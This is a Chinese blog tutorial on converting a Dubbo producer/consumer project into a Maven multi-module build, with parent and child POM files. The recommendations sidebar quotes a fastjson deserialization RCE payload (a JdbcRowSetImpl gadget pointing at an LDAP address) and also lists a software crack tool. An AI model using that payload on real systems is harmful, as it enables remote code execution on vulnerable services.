dubbo简单使用(三)

SpringBoot+Dubbo+Zookeeper的简单整合 之前写过dubbo的简单项目,用的是Spring+Dubbo,约摸看了下博客的创建时间,然后默默捂了下脸,已经是一年多前的事了。 由于Dubbo最近在疯狂地更新,相信死灰复燃还是有小宇宙可以燃烧的。 这次带来的是SpringBoot+Dubbo+Zookeeper的简单整合,客官们可要赏脸看一看。 首先看下项目的结构,如下图所示(发现现在博客强制加了水印,这水印真的是人类交流的最大阻碍了):... 阅读详情

这里将上两例(生产和消费)优化一下,新建一个父maven模块,让生产和消费依赖父模块,目的一是去掉重复代码,例如DemoProviderService接口;目的二是让父模块的pom来统一管理版本。

如果使用的是eclipse,只要在同一工作空间项目之间就可以依赖,笔者使用的是idea,需要新建module(模块),步骤如下:

1,新建一个maven项目做父模块

2,如图,根据提示,添加新的模块


注:百度网上有直接将其他项目添加为module的,但笔者实验都出现两种错误,一:子模块的pom文件扫描不到;二:在maven project界面整个子模块为灰色,不可用。各位geek若有解决办法,望告知。

3,新建java和resource,将之前的文件复制进来,如图:


4,给生产模块和消费模块的pom文件添加项目依赖,然后删除各自模块的接口,笔者的父依赖如下:


5,给父模块添加需要消费的接口,这样就完成了目的一


6,抽取子模块的pom内容,在父模块pom里定义和版本管理,如下:

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>gccDubbo</groupId>
  <artifactId>gccDubbo</artifactId>
  <version>1.0-SNAPSHOT</version>
  <modules>
    <module>gccDubboProvider</module>
    <module>gccDubboConsumer</module>
  </modules>
  <packaging>pom</packaging>
  <name>gccDubbo Maven Webapp</name>

  <!-- 依赖版本管理  -->
  <properties>
    <dubbo-demo-api.version>0.0.1-SNAPSHOT</dubbo-demo-api.version>
    <dubbo.version>2.6.0</dubbo.version>
    <zkclient.version>0.10</zkclient.version>
    <curator-framework.version>4.0.1</curator-framework.version>
    <fastjson.version>1.2.46</fastjson.version>
    <log4j.version>1.2.17</log4j.version>
    <slf4j-api.version>1.7.25</slf4j-api.version>
    <commons-lang3.version>3.4</commons-lang3.version>
    <netty-all.version>4.0.35.Final</netty-all.version>
  </properties>

  <!-- 依赖管理 仅仅定义 -->
  <dependencyManagement>
    <dependencies>
      <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>dubbo</artifactId>
        <version>${dubbo.version}</version>
      </dependency>
      <dependency>
        <groupId>com.101tec</groupId>
        <artifactId>zkclient</artifactId>
        <version>${zkclient.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.curator</groupId>
        <artifactId>curator-framework</artifactId>
        <version>${curator-framework.version}</version>
      </dependency>
      <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>${fastjson.version}</version>
      </dependency>
      <dependency>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
        <version>${log4j.version}</version>
      </dependency>
      <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-api</artifactId>
        <version>${slf4j-api.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-lang3</artifactId>
        <version>${commons-lang3.version}</version>
      </dependency>
      <dependency>
        <groupId>io.netty</groupId>
        <artifactId>netty-all</artifactId>
        <version>${netty-all.version}</version>
      </dependency>
    </dependencies>
  </dependencyManagement>

</project>

7,去掉两个子模块的版本,并定义parent依赖,例如:

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>gccDubbo</groupId>
        <artifactId>gccDubbo</artifactId>
        <version>1.0-SNAPSHOT</version>
    </parent>
    <artifactId>gccDubboProvider</artifactId>
    <name>gccDubboProvider Maven Webapp</name>

    <dependencies>
        <dependency>
            <groupId>gccDubbo</groupId>
            <artifactId>gccDubbo</artifactId>
            <version>1.0-SNAPSHOT</version>
        </dependency>

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>dubbo</artifactId>
        </dependency>
        <dependency>
            <groupId>com.101tec</groupId>
            <artifactId>zkclient</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.curator</groupId>
            <artifactId>curator-framework</artifactId>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-lang3</artifactId>
        </dependency>
        <dependency>
            <groupId>io.netty</groupId>
            <artifactId>netty-all</artifactId>
        </dependency>
    </dependencies>
</project>

这样就达到了目的二,版本在父模块的pom同一管理。

这样管理以后,如果有新服务添加,只需要在父模块添加接口,在生产模块完成实现,在消费模块调用即可,不会有代码冗余。

Dubbo 简单入门 Dubbo 的核心原理包括通过注册中心实现服务注册与发现、采用高效的通信协议、提供多种负载均衡策略和容错机制,并且支持通过 SPI 机制进行扩展。Dubbo 为构建高性能、可扩展的分布式服务系统提供了强有力的支持。 阅读详情

相关推荐

Visual Studio Code 打开java项目

在 Visual Studio Code 中打开并运行一个 Java 项目之前,你需要确保你已经完成了一些初始设置。

2674

Dubbo调用fastjson

其解析字符串默认使用的是fastjson,可以结合fastjson实现RCE。 invoke ({ "111": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.85.1:8089/test_by_cqq", "autoCommit": true

公众号shadow sock7 1269

TEM图像处理实战指南:从基础操作到金属材料分析

本文提供了一份全面的透射电镜(TEM)图像处理实战指南,涵盖从基础操作到金属材料深度分析的全流程。重点讲解了TEM图像预处理、选区电子衍射(SAED)标定、高分辨像(HRTEM)分析及STEM图像应用等核心技能,并结合金属材料(如铝合金、钢)的析出相鉴定、位错分析和界面结构研究等实际案例,帮助研究者从原始数据中准确提取晶体结构、缺陷及成分信息。

weixin_29284201的博客 210

Dubbo的简单使用

一、架构演进 单体架构 垂直应用架构:根据业务边界拆分,每个功能称为一个服务 公共的业务service,导致很多部分的冗余 分布式应用架构:把公共服务器的service提取成一个服务 网络通讯的问题,使用RPC框架 服务集群的负载均衡处理 服务如何被发现 服务如何被治理 服务之间如何高效的通信 微服务架构,主要解决以下几个问题 服务的注册和发现 服务的搞笑通信 服务的治理:服务权重、负载均衡、服务熔断、限流等等 二、注册中心 1、概述 主流的注册中心:

liming0025的专栏 7376

TypeScript版LangChain环境配置全攻略:从零搭建AI应用开发环境

大语言模型(LLM)作为当前AI应用开发的核心技术,通过API接口为开发者提供了强大的自然语言处理能力。其工作原理基于Transformer架构,通过预训练和微调实现对人类语言的深度理解与生成。在工程实践中,开发者需要将LLM与外部工具、数据源和业务逻辑有效集成,这正是LangChain框架的技术价值所在——它提供了标准化的组件和接口,简化了复杂AI应用的构建流程。应用场景涵盖智能客服、内容生成、数据分析助手等多个领域。本文聚焦于TypeScript/JavaScript生态下的LangChain开发,详细

weixin_29055699的博客 253

Python金融数据获取工具库之baostock使用详解

在金融数据分析和量化交易中,获取准确及时的市场数据是非常重要的。baostock是一个专门为中国股市数据提供支持的 Python 库,它提供了免费的股票数据接口,用户可以方便地获取股票、指数、基金等各种金融数据。本文将详细介绍baostock库,包括其安装方法、主要特性、基本和高级功能,以及实际应用场景,帮助全面了解并掌握该库的使用。

Rocky006的博客 5345

Dubbo的基本使用

Dubbo的基本使用

Charge8的博客 3113

别再用MounRiver了!在VSCode里用PlatformIO搞定CH32V208开发(附完整配置流程)

本文详细介绍了如何在VSCode中使用PlatformIO进行CH32V208开发,替代传统的MounRiver Studio。通过完整的配置流程和优化技巧,开发者可以构建高效、现代化的RISC-V开发环境,显著提升编译速度和开发效率。

weixin_28711397的博客 534

Dubbo深度解析:从核心架构到SpringBoot实战,手把手教你构建高可用RPC服务(附Zookeeper/Nacos双版本)

本文系统化拆解Apache Dubbo核心原理与生产级应用,涵盖: ​深度对比:单机/垂直/分布式架构演进,剖析Dubbo与Spring Cloud的底层差异 ​手撕源码:从RPC通信机制、集群容错到服务发现,彻底掌握Dubbo高性能设计哲学 ​双注册中心实战:基于SpringBoot 3.x + Zookeeper/Nacos的百万级服务治理方案 ​企业级避坑指南:QoS端口冲突、Nacos版本适配等高频问题解决方案 ​完整代码库:开箱即用的Dubbo+SpringBoot脚手架(含监控中心配置)

Zyw907155124的博客 1616

K-means算法代码实现(python)

K-means算法代码实现以及解决质心选择问题 计算距离 距离通常使用欧几里得距离来衡量 def euclDistance(vector1, vector2): return np.sqrt(sum((vector2 - vector1) ** 2)) 初始化质心 def initCentroids(data, k): numSamples, dim = data.shape ...

江南小帅瓜的博客 1万+

高级数据库--作业及答案

中科大金培权老师的高级数据库课程作业及答案

一杯水果茶!足矣~ 1658

Dubbo简单使用(帮助你能直接上手)

记录自己快速入手Dubbo的过程

qq_54041019的博客 1106

[QMT和ptrade量化交易小白入门]-122、基于聚类分析的动态股票池构建与ETF轮动策略,回测年化 132.09%

本专栏主要是介绍QMT和ptrade的基础用法,常见函数,写策略的方法,也会分享一些量化交易的思路,大概会写200篇左右。QMT的相关资料较少,在使用过程中不断的摸索,遇到了一些问题,记录下来和大家一起沟通,共同进步。

木头大左的博客 1029

最全最简单的dubbo教程-以属性配置的形式整合dubbo《三》

通过.properties文件的方式搭建与XML原理都一样,只不过所有的声明信息都填写到.properties里面了。这里是官网给出的解释: 开始搭建 服务生产者配置 在application.propetries中声明生成者配置信息 #springboot应用 spring.application.name = dubbo-provider-demo server.port = 9090 #...

郭敬仰的博客 3576

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Dubbo教程(三)----一个简单的Dubbo示例

一、创建Maven多模块项目 项目结构如下 模块介绍: dubbo-api            ----API接口 dubbo-consumer ----消费者 dubbo-provider    ----生产者 dubbo-api  Service 提供的接口,provider 实现了 api 接口,并对外开放http端口,consu

fendo 1万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

dubbo-admin安装以及dubbo-admin简单使用

一、dubbo-admin安装 1、环境准备 dubbo-admin 是一个前后端分离的项目。前端使用vue,后端使用springboot,安装 dubbo-admin 其实就是部署该项目。我们将dubbo-admin安装到开发环境上。要保证开发环境有jdk,maven,nodejs 安装node**(如果当前机器已经安装请忽略)** 因为前端工程是用vue开发的,所以需要安装node.js,node.js中自带了npm,后面我们会通过npm启动 下载地址 https://nodejs.org/en/

听雨少年的博客 1万+

dubbo学习过程、使用经验分享及实现原理简单介绍

一、前言 部门去年年中开始各种改造,第一步是模块服务化,这边初选dubbo试用在一些非重要模块上,慢慢引入到一些稍微重要的功能上,半年时间,学习过程及线上使用遇到的些问题在此总结下。 二、什么是dubbo Dubbo是阿里巴巴提供的开源的SOA服务化治理的技术框架,据说只是剖出来的一部分开源的,但一些基本的需求已经可以满足的,而且扩展性也非常好(至今没领悟到扩展性怎么做到的)

周绍禹-whuiss 8万+

简单的使用dubbo

环境:W7 + jdk1.8+myeclipse+tomcat7+maven3+zookeeper-3.4.6为什么要用dubbo?当我们的网站规模达到了一定的量级的时候,普通的MVC框架已经不能满足我们的需求,于是分布式的服务框架和流动式的架构就凸显出来了。 单一应用架构 当网站流量很小时,只需一个应用,将所有功能都部署在一起,以减少部署节点和成本。 此时,用于简化增删改查工作量的 数据访问框

Tate的博客 1167

SpringBoot中Dubbo的简单使用方式

SpringBoot集成Dubbo

itsniu的博客 1743

dubbo学习笔记-初步认识dubbo及dubbo的简单使用

dubbo学习笔记 初步认识dubbo dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。 随着互联网的发展,网站应用的规模不断扩大,常规的垂直应用架构已无法应对,分布式服务架构以及流动计算架构势在必行,亟需一个治理系统确保架构有条不紊的演进。 dubbo就是在这种背景中产生的。 下面有几大文...

931

dubbo-admin 的安装和简单使用

dubbo-admin安装 文章目录dubbo-admin安装dubbo-admin简单使用 1、node下载和安装 dubbo-admin 是一个前后端分离的项目。前端使用vue,后端使用springboot,安装 dubbo-admin 其实就是部署该项目。我们将dubbo-admin安装到开发环境上。要保证开发环境有jdk,maven,nodejs 安装node 因为前端工程是用vue开发的,所以需要安装node.js,node.js中自带了npm,后面我们会通过npm启动 下载地址 https://

立志成为一个前端、后端、测试全方位发展的程序员 5477

dubbo--使用IDEA搭建简单的dubbo项目

dubbo--使用IDEA搭建简单的dubbo项目第一步,创建一个dubbotest名字的maven项目第二步,分别创建名字为dubbo_api,produce,consumer的module子项目第三步,分别修改pom文件第四步,分别在dubbo_api,produce,consumer的module子项目中创建java根目录和resources库第五步,在dubbo_api中创建一个接口,并在...

BIackMamba的博客 5066

Dubbo--简单介绍和使用(Simple)

内容简介 此篇文章是介绍Dubbo以及它的简单使用,会列举运用spring boot + dubbo搭建项目运用dubbo的步骤,主要是介绍一下dubbo的作用以及简单的配置,若有兴趣的朋友可以继续关注后续的dubbo系列文章,也可以参考官方文档进行学习.个人的一点心得和想法,有错误还请指正。 Dubbo介绍1.什么是Dubbo 一个分布式服务治理框架 2.为什么用Dubbo官方介绍 当

Little__Dragon的博客 1527

三、Dubbo环境搭建

三、Dubbo环境搭建 1、【windows】-安装 1.1、安装zookeeper 我的安装路径:D:\Program Files\Environment\zookeeper\zookeeper-3.4.14 1、下载zookeeper 网址 https://archive.apache.org/dist/zookeeper/zookeeper-3.4.13/ 2、解压zookeeper 解压运行zkServer.cmd ,初次运行会报错,没有zoo.cfg配置文件 ,(可能遇到问题:闪退 ! 解决方

wang_luwei的博客 1942
上一篇: dubbo简单使用(二)
下一篇: demo项目开发笔录(web和mobile)
gcc_front
博客等级 码龄9年 16粉丝 98原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值